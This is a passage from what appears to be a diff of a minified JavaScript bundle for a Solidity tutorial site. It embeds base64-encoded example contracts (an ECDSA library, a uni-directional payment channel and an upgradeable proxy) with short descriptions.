cmV0dXJuIF92ZXJpZnkoX2Ftb3VudCwgX3NpZyk7CiAgICB9CgogICAgZnVuY3Rpb24gY2xvc2UodWludDI1NiBfYW1vdW50LCBieXRlcyBtZW1vcnkgX3NpZykgZXh0ZXJuYWwgZ3VhcmQgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSByZWNlaXZlciwgIiFyZWNlaXZlciIpOwogICAgICAgIHJlcXVpcmUoX3ZlcmlmeShfYW1vdW50LCBfc2lnKSwgImludmFsaWQgc2lnIik7CgogICAgICAgIChib29sIHNlbnQsKSA9IHJlY2VpdmVyLmNhbGx7dmFsdWU6IF9hbW91bnR9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgICAgIHNlbGZkZXN0cnVjdChzZW5kZXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNhbmNlbCgpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gc2VuZGVyLCAiIXNlbmRlciIpOwogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wID49IGV4cGlyZXNBdCwgIiFleHBpcmVkIik7CiAgICAgICAgc2VsZmRlc3RydWN0KHNlbmRlcik7CiAgICB9Cn0K"}],Tu=`

              Payment channels allow participants to repeatedly transfer Ether off chain.

              +`,Ju=({prev:s,next:a})=>r.jsx(A,{version:Hu,title:Ku,description:Fu,cyfrinLink:Mu,html:xu,prev:s,next:a,codes:Su}),zu="0.8.26",Du="Uni-Directional Payment Channel",Eu="An example of uni-directional payment channels in Solidity",Qu="https://www.cyfrin.io/glossary/unidirectional-payment-channel-solidity-code-example",Tu=[{fileName:"ECDSA.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIE9wZW5aZXBwZWxpbiBDb250cmFjdHMgKGxhc3QgdXBkYXRlZCB2NC41LjApICh1dGlscy9jcnlwdG9ncmFwaHkvRUNEU0Euc29sKQoKbGlicmFyeSBFQ0RTQSB7CiAgICBlbnVtIFJlY292ZXJFcnJvciB7CiAgICAgICAgTm9FcnJvciwKICAgICAgICBJbnZhbGlkU2lnbmF0dXJlLAogICAgICAgIEludmFsaWRTaWduYXR1cmVMZW5ndGgsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVMsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVYKICAgIH0KCiAgICBmdW5jdGlvbiBfdGhyb3dFcnJvcihSZWNvdmVyRXJyb3IgZXJyb3IpIHByaXZhdGUgcHVyZSB7CiAgICAgICAgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5Ob0Vycm9yKSB7CiAgICAgICAgICAgIHJldHVybjsgLy8gbm8gZXJyb3I6IGRvIG5vdGhpbmcKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKSB7CiAgICAgICAgICAgIHJldmVydCgiRUNEU0E6IGludmFsaWQgc2lnbmF0dXJlIik7CiAgICAgICAgfSBlbHNlIGlmIChlcnJvciA9PSBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZUxlbmd0aCkgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlUykgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAncycgdmFsdWUiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlVikgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAndicgdmFsdWUiKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdHJ5UmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzIG1lbW9yeSBzaWduYXR1cmUpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcywgUmVjb3ZlckVycm9yKQogICAgewogICAgICAgIC8vIENoZWNrIHRoZSBzaWduYXR1cmUgbGVuZ3RoCiAgICAgICAgLy8gLSBjYXNlIDY1OiByLHMsdiBzaWduYXR1cmUgKHN0YW5kYXJkKQogICAgICAgIC8vIC0gY2FzZSA2NDogcix2cyBzaWduYXR1cmUgKGNmIGh0dHBzOi8vZWlwcy5ldGhlcmV1bS5vcmcvRUlQUy9laXAtMjA5OCkgX0F2YWlsYWJsZSBzaW5jZSB2NC4xLl8KICAgICAgICBpZiAoc2lnbmF0dXJlLmxlbmd0aCA9PSA2NSkgewogICAgICAgICAgICBieXRlczMyIHI7CiAgICAgICAgICAgIGJ5dGVzMzIgczsKICAgICAgICAgICAgdWludDggdjsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgcyA6PSBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDQwKSkKICAgICAgICAgICAgICAgIHYgOj0gYnl0ZSgwLCBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDYwKSkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICAgICAgfSBlbHNlIGlmIChzaWduYXR1cmUubGVuZ3RoID09IDY0KSB7CiAgICAgICAgICAgIGJ5dGVzMzIgcjsKICAgICAgICAgICAgYnl0ZXMzMiB2czsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgdnMgOj0gbWxvYWQoYWRkKHNpZ25hdHVyZSwgMHg0MCkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVMZW5ndGgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZSkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgc2lnbmF0dXJlKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0cnlSZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMzMiByLCBieXRlczMyIHZzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MsIFJlY292ZXJFcnJvcikKICAgIHsKICAgICAgICBieXRlczMyIHMgPSB2cwogICAgICAgICAgICAmIGJ5dGVzMzIoCiAgICAgICAgICAgICAgICAweDdmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmYKICAgICAgICAgICAgKTsKICAgICAgICB1aW50OCB2ID0gdWludDgoKHVpbnQyNTYodnMpID4+IDI1NSkgKyAyNyk7CiAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzMzIgciwgYnl0ZXMzMiB2cykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIF90aHJvd0Vycm9yKGVycm9yKTsKICAgICAgICByZXR1cm4gcmVjb3ZlcmVkOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyeVJlY292ZXIoYnl0ZXMzMiBoYXNoLCB1aW50OCB2LCBieXRlczMyIHIsIGJ5dGVzMzIgcykKICAgICAgICBpbnRlc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gICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgKGFkZHJlc3MgcmVjb3ZlcmVkLCBSZWNvdmVyRXJyb3IgZXJyb3IpID0gdHJ5UmVjb3ZlcihoYXNoLCB2LCByLCBzKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKGJ5dGVzMzIgaGFzaCkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIC8vIDMyIGlzIHRoZSBsZW5ndGggaW4gYnl0ZXMgb2YgaGFzaCwKICAgICAgICAvLyBlbmZvcmNlZCBieSB0aGUgdHlwZSBzaWduYXR1cmUgYWJvdmUKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKCJceDE5RXRoZXJldW0gU2lnbmVkIE1lc3NhZ2U6XG4zMiIsIGhhc2gpCiAgICAgICAgKTsKICAgIH0KfQo="},{fileName:"UniDirectionalPaymentChannel.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKY29udHJhY3QgUmVlbnRyYW5jeUd1YXJkIHsKICAgIGJvb2wgcHJpdmF0ZSBsb2NrZWQ7CgogICAgbW9kaWZpZXIgZ3VhcmQoKSB7CiAgICAgICAgcmVxdWlyZSghbG9ja2VkKTsKICAgICAgICBsb2NrZWQgPSB0cnVlOwogICAgICAgIF87CiAgICAgICAgbG9ja2VkID0gZmFsc2U7CiAgICB9Cn0KCmNvbnRyYWN0IFVuaURpcmVjdGlvbmFsUGF5bWVudENoYW5uZWwgaXMgUmVlbnRyYW5j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2dldEV0aFNpZ25lZEhhc2godWludDI1NiBfYW1vdW50KQogICAgICAgIHByaXZhdGUKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICByZXR1cm4gX2dldEhhc2goX2Ftb3VudCkudG9FdGhTaWduZWRNZXNzYWdlSGFzaCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEV0aFNpZ25lZEhhc2godWludDI1NiBfYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGJ5dGVzMzIpCiAgICB7CiAgICAgICAgcmV0dXJuIF9nZXRFdGhTaWduZWRIYXNoKF9hbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIF92ZXJpZnkodWludDI1NiBfYW1vdW50LCBieXRlcyBtZW1vcnkgX3NpZykKICAgICAgICBwcml2YXRlCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgcmV0dXJuIF9nZXRFdGhTaWduZWRIYXNoKF9hbW91bnQpLnJlY292ZXIoX3NpZykgPT0gc2VuZGVyOwogICAgfQoKICAgIGZ1bmN0aW9uIHZlcmlmeSh1aW50MjU2IF9hbW91bnQsIGJ5dGVzIG1lbW9yeSBfc2lnKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgcmV0dXJuIF92ZXJpZnkoX2Ftb3VudCwgX3NpZyk7CiAgICB9CgogICAgZnVuY3Rpb24gY2xvc2UodWludDI1NiBfYW1vdW50LCBieXRlcyBtZW1vcnkgX3NpZykgZXh0ZXJuYWwgZ3VhcmQgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSByZWNlaXZlciwgIiFyZWNlaXZlciIpOwogICAgICAgIHJlcXVpcmUoX3ZlcmlmeShfYW1vdW50LCBfc2lnKSwgImludmFsaWQgc2lnIik7CgogICAgICAgIChib29sIHNlbnQsKSA9IHJlY2VpdmVyLmNhbGx7dmFsdWU6IF9hbW91bnR9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgICAgIHNlbGZkZXN0cnVjdChzZW5kZXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNhbmNlbCgpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gc2VuZGVyLCAiIXNlbmRlciIpOwogICAgICAgIHJlcXVpcmUoYmxvY2sudGltZXN0YW1wID49IGV4cGlyZXNBdCwgIiFleHBpcmVkIik7CiAgICAgICAgc2VsZmRlc3RydWN0KHNlbmRlcik7CiAgICB9Cn0K"}],Uu=`

              Payment channels allow participants to repeatedly transfer Ether off chain.

              Here is how this contract is used:

              • Alice deploys the contract, funding it with some Ether.
              • @@ -3219,7 +3219,7 @@ After a minimum waiting period, the transaction can be executed.

                ); } } -`,Uu=({prev:s,next:a})=>r.jsx(A,{version:Ju,title:zu,description:Du,cyfrinLink:Eu,html:Tu,prev:s,next:a,codes:Qu}),_u="0.8.26",Lu="Upgradeable Proxy",Ou="Example of upgradeable proxy",Pu="https://www.cyfrin.io/glossary/upgradeable-proxy-solidity-code-example",$u=[{fileName:"UpgradeableProxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIFRyYW5zcGFyZW50IHVwZ3JhZGVhYmxlIHByb3h5IHBhdHRlcm4KCmNvbnRyYWN0IENvdW50ZXJWMSB7CiAgICB1aW50MjU2IHB1YmxpYyBjb3VudDsKCiAgICBmdW5jdGlvbiBpbmMoKSBleHRlcm5hbCB7CiAgICAgICAgY291bnQgKz0gMTsKICAgIH0KfQoKY29udHJhY3QgQ291bnRlclYyIHsKICAgIHVpbnQyNTYgcHVibGljIGNvdW50OwoKICAgIGZ1bmN0aW9uIGluYygp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VzCiAgICAgICAgICAgIGNhbGxkYXRhY29weSgwLCAwLCBjYWxsZGF0YXNpemUoKSkKCiAgICAgICAgICAgIC8vIENhbGwgdGhlIGltcGxlbWVudGF0aW9uLgogICAgICAgICAgICAvLyBvdXQgYW5kIG91dHNpemUgYXJlIDAgYmVjYXVzZSB3ZSBkb24ndCBrbm93IHRoZSBzaXplIHlldC4KCiAgICAgICAgICAgIC8vIGRlbGVnYXRlY2FsbChnLCBhLCBpbiwgaW5zaXplLCBvdXQsIG91dHNpemUpIC0KICAgICAgICAgICAgLy8gLSBjYWxsIGNvbnRyYWN0IGF0IGFkZHJlc3MgYQogICAgICAgICAgICAvLyAtIHdpdGggaW5wdXQgbWVtW2lu4oCmKGluK2luc2l6ZSkpCiAgICAgICAgICAgIC8vIC0gcHJvdmlkaW5nIGcgZ2FzCiAgICAgICAgICAgIC8vIC0gYW5kIG91dHB1dCBhcmVhIG1lbVtvdXTigKYob3V0K291dHNpemUpKQogICAgICAgICAgICAvLyAtIHJldHVybmluZyAwIG9uIGVycm9yIChlZy4gb3V0IG9mIGdhcykgYW5kIDEgb24gc3VjY2VzcwogICAgICAgICAgICBsZXQgcmVzdWx0IDo9CiAgICAgICAgICAgICAgICBkZWxlZ2F0ZWNhbGwoZ2FzKCksIF9pbXBsZW1lbnRhdGlvbiwgMCwgY2FsbGRhdGFzaXplKCksIDAsIDApCgogICAgICAgICAgICAvLyBDb3B5IHRoZSByZXR1cm5lZCBkYXRhLgogICAgICAgICAgICAvLyByZXR1cm5kYXRhY29weSh0LCBmLCBzKSAtIGNvcHkgcyBieXRlcyBmcm9tIHJldHVybmRhdGEgYXQgcG9zaXRpb24gZiB0byBtZW0gYXQgcG9zaXRpb24gdAogICAgICAgICAgICAvLyByZXR1cm5kYXRhc2l6ZSgpIC0gc2l6ZSBvZiB0aGUgbGFzdCByZXR1cm5kYXRhCiAgICAgICAgICAgIHJldHVybmRhdGFjb3B5KDAsIDAsIHJldHVybmRhdGFzaXplKCkpCgogICAgICAgICAgICBzd2l0Y2ggcmVzdWx0CiAgICAgICAgICAgIC8vIGRlbGVnYXRlY2FsbCByZXR1cm5zIDAgb24gZXJyb3IuCiAgICAgICAgICAgIGNhc2UgMCB7CiAgICAgICAgICAgICAgICAvLyByZXZlcnQocCwgcykgLSBlbmQgZXhlY3V0aW9uLCByZXZlcnQgc3RhdGUgY2hhbmdlcywgcmV0dXJuIGRhdGEgbWVtW3DigKYocCtzKSkKICAgICAgICAgICAgICAgIHJldmVydCgwLCByZXR1cm5kYXRhc2l6ZSgpKQogICAgICAgICAgICB9CiAgICAgICAgICAgIGRlZmF1bHQgewogICAgICAgICAgICAgICAgLy8gcmV0dXJuKHAsIHMpIC0gZW5kIGV4ZWN1dGlvbiwgcmV0dXJuIGRhdGEgbWVtW3DigKYocCtzKSkKICAgICAgICAgICAgICAgIHJldHVybigwLCByZXR1cm5kYXRhc2l6ZSgpKQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIF9mYWxsYmFjaygpIHByaXZhdGUgewogICAgICAgIF9kZWxlZ2F0ZShfZ2V0SW1wbGVtZW50YXRpb24oKSk7CiAgICB9CgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBfZmFsbGJhY2soKTsKICAgIH0KCiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgX2ZhbGxiYWNrKCk7CiAgICB9Cn0KCmNvbnRyYWN0IFByb3h5QWRtaW4gewogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIG1vZGlmaWVyIG9ubHlPd25lcigpIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gb3duZXIsICJub3Qgb3duZXIiKTsKICAgICAgICBfOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldFByb3h5QWRtaW4oYWRkcmVzcyBwcm94eSkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzKSB7CiAgICAgICAgKGJvb2wgb2ssIGJ5dGVzIG1lbW9yeSByZXMpID0KICAgICAgICAgICAgcHJveHkuc3RhdGljY2FsbChhYmkuZW5jb2RlQ2FsbChQcm94eS5hZG1pbiwgKCkpKTsKICAgICAgICByZXF1aXJlKG9rLCAiY2FsbCBmYWlsZWQiKTsKICAgICAgICByZXR1cm4gYWJpLmRlY29kZShyZXMsIChhZGRyZXNzKSk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0UHJveHlJbXBsZW1lbnRhdGlvbihhZGRyZXNzIHByb3h5KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgKGJvb2wgb2ssIGJ5dGVzIG1lbW9yeSByZXMpID0KICAgICAgICAgICAgcHJveHkuc3RhdGljY2FsbChhYmkuZW5jb2RlQ2FsbChQcm94eS5pbXBsZW1lbnRhdGlvbiwgKCkpKTsKICAgICAgICByZXF1aXJlKG9rLCAiY2FsbCBmYWlsZWQiKTsKICAgICAgICByZXR1cm4gYWJpLmRlY29kZShyZXMsIChhZGRyZXNzKSk7CiAgICB9CgogICAgZnVuY3Rpb24gY2hhbmdlUHJveHlBZG1pbihhZGRyZXNzIHBheWFibGUgcHJveHksIGFkZHJlc3MgYWRtaW4pCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBvbmx5T3duZXIKICAgIHsKICAgICAgICBQcm94eShwcm94eSkuY2hhbmdlQWRtaW4oYWRtaW4pOwogICAgfQoKICAgIGZ1bmN0aW9uIHVwZ3JhZGUoYWRkcmVzcyBwYXlhYmxlIHByb3h5LCBhZGRyZXNzIGltcGxlbWVudGF0aW9uKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgb25seU93bmVyCiAgICB7CiAgICAgICAgUHJveHkocHJveHkpLnVwZ3JhZGVUbyhpbXBsZW1lbnRhdGlvbik7CiAgICB9Cn0KCmxpYnJhcnkgU3RvcmFnZVNsb3QgewogICAgc3RydWN0IEFkZHJlc3NTbG90IHsKICAgICAgICBhZGRyZXNzIHZhbHVlOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEFkZHJlc3NTbG90KGJ5dGVzMzIgc2xvdCkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChBZGRyZXNzU2xvdCBzdG9yYWdlIHIpCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICByLnNsb3QgOj0gc2xvdAogICAgICAgIH0KICAgIH0KfQoKY29udHJhY3QgVGVzdFNsb3QgewogICAgYnl0ZXMzMiBwdWJsaWMgY29uc3RhbnQgc2xvdCA9IGtlY2NhazI1NigiVEVTVF9TTE9UIik7CgogICAgZnVuY3Rpb24gZ2V0U2xvdCgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcykgewogICAgICAgIHJldHVybiBTdG9yYWdlU2xvdC5nZXRBZGRyZXNzU2xvdChzbG90KS52YWx1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiB3cml0ZVNsb3QoYWRkcmVzcyBfYWRkcikgZXh0ZXJuYWwgewogICAgICAgIFN0b3JhZ2VTbG90LmdldEFkZHJlc3NTbG90KHNsb3QpLnZhbHVlID0gX2FkZHI7CiAgICB9Cn0K"}],qu=`

                Example of upgradeable proxy contract. Never use this in production.

                +`,Lu=({prev:s,next:a})=>r.jsx(A,{version:zu,title:Du,description:Eu,cyfrinLink:Qu,html:Uu,prev:s,next:a,codes:Tu}),_u="0.8.26",Ou="Upgradeable Proxy",Pu="Example of upgradeable proxy",$u="https://www.cyfrin.io/glossary/upgradeable-proxy-solidity-code-example",qu=[{fileName:"UpgradeableProxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vI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ICAgICAvLyByZXR1cm5kYXRhY29weSh0LCBmLCBzKSAtIGNvcHkgcyBieXRlcyBmcm9tIHJldHVybmRhdGEgYXQgcG9zaXRpb24gZiB0byBtZW0gYXQgcG9zaXRpb24gdAogICAgICAgICAgICAvLyByZXR1cm5kYXRhc2l6ZSgpIC0gc2l6ZSBvZiB0aGUgbGFzdCByZXR1cm5kYXRhCiAgICAgICAgICAgIHJldHVybmRhdGFjb3B5KDAsIDAsIHJldHVybmRhdGFzaXplKCkpCgogICAgICAgICAgICBzd2l0Y2ggcmVzdWx0CiAgICAgICAgICAgIC8vIGRlbGVnYXRlY2FsbCByZXR1cm5zIDAgb24gZXJyb3IuCiAgICAgICAgICAgIGNhc2UgMCB7CiAgICAgICAgICAgICAgICAvLyByZXZlcnQocCwgcykgLSBlbmQgZXhlY3V0aW9uLCByZXZlcnQgc3RhdGUgY2hhbmdlcywgcmV0dXJuIGRhdGEgbWVtW3DigKYocCtzKSkKICAgICAgICAgICAgICAgIHJldmVydCgwLCByZXR1cm5kYXRhc2l6ZSgpKQogICAgICAgICAgICB9CiAgICAgICAgICAgIGRlZmF1bHQgewogICAgICAgICAgICAgICAgLy8gcmV0dXJuKHAsIHMpIC0gZW5kIGV4ZWN1dGlvbiwgcmV0dXJuIGRhdGEgbWVtW3DigKYocCtzKSkKICAgICAgICAgICAgICAgIHJldHVybigwLCByZXR1cm5kYXRhc2l6ZSgpKQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIF9mYWxsYmFjaygpIHByaXZhdGUgewogICAgICAgIF9kZWxlZ2F0ZShfZ2V0SW1wbGVtZW50YXRpb24oKSk7CiAgICB9CgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBfZmFsbGJhY2soKTsKICAgIH0KCiAgICByZWNlaXZlKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgX2ZhbGxiYWNrKCk7CiAgICB9Cn0KCmNvbnRyYWN0IFByb3h5QWRtaW4gewogICAgYWRkcmVzcyBwdWJsaWMgb3duZXI7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIG1vZGlmaWVyIG9ubHlPd25lcigpIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gb3duZXIsICJub3Qgb3duZXIiKTsKICAgICAgICBfOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldFByb3h5QWRtaW4oYWRkcmVzcyBwcm94eSkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzKSB7CiAgICAgICAgKGJvb2wgb2ssIGJ5dGVzIG1lbW9yeSByZXMpID0KICAgICAgICAgICAgcHJveHkuc3RhdGljY2FsbChhYmkuZW5jb2RlQ2FsbChQcm94eS5hZG1pbiwgKCkpKTsKICAgICAgICByZXF1aXJlKG9rLCAiY2FsbCBmYWlsZWQiKTsKICAgICAgICByZXR1cm4gYWJpLmRlY29kZShyZXMsIChhZGRyZXNzKSk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0UHJveHlJbXBsZW1lbnRhdGlvbihhZGRyZXNzIHByb3h5KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgKGJvb2wgb2ssIGJ5dGVzIG1lbW9yeSByZXMpID0KICAgICAgICAgICAgcHJveHkuc3RhdGljY2FsbChhYmkuZW5jb2RlQ2FsbChQcm94eS5pbXBsZW1lbnRhdGlvbiwgKCkpKTsKICAgICAgICByZXF1aXJlKG9rLCAiY2FsbCBmYWlsZWQiKTsKICAgICAgICByZXR1cm4gYWJpLmRlY29kZShyZXMsIChhZGRyZXNzKSk7CiAgICB9CgogICAgZnVuY3Rpb24gY2hhbmdlUHJveHlBZG1pbihhZGRyZXNzIHBheWFibGUgcHJveHksIGFkZHJlc3MgYWRtaW4pCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBvbmx5T3duZXIKICAgIHsKICAgICAgICBQcm94eShwcm94eSkuY2hhbmdlQWRtaW4oYWRtaW4pOwogICAgfQoKICAgIGZ1bmN0aW9uIHVwZ3JhZGUoYWRkcmVzcyBwYXlhYmxlIHByb3h5LCBhZGRyZXNzIGltcGxlbWVudGF0aW9uKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgb25seU93bmVyCiAgICB7CiAgICAgICAgUHJveHkocHJveHkpLnVwZ3JhZGVUbyhpbXBsZW1lbnRhdGlvbik7CiAgICB9Cn0KCmxpYnJhcnkgU3RvcmFnZVNsb3QgewogICAgc3RydWN0IEFkZHJlc3NTbG90IHsKICAgICAgICBhZGRyZXNzIHZhbHVlOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEFkZHJlc3NTbG90KGJ5dGVzMzIgc2xvdCkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChBZGRyZXNzU2xvdCBzdG9yYWdlIHIpCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICByLnNsb3QgOj0gc2xvdAogICAgICAgIH0KICAgIH0KfQoKY29udHJhY3QgVGVzdFNsb3QgewogICAgYnl0ZXMzMiBwdWJsaWMgY29uc3RhbnQgc2xvdCA9IGtlY2NhazI1NigiVEVTVF9TTE9UIik7CgogICAgZnVuY3Rpb24gZ2V0U2xvdCgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcykgewogICAgICAgIHJldHVybiBTdG9yYWdlU2xvdC5nZXRBZGRyZXNzU2xvdChzbG90KS52YWx1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiB3cml0ZVNsb3QoYWRkcmVzcyBfYWRkcikgZXh0ZXJuYWwgewogICAgICAgIFN0b3JhZ2VTbG90LmdldEFkZHJlc3NTbG90KHNsb3QpLnZhbHVlID0gX2FkZHI7CiA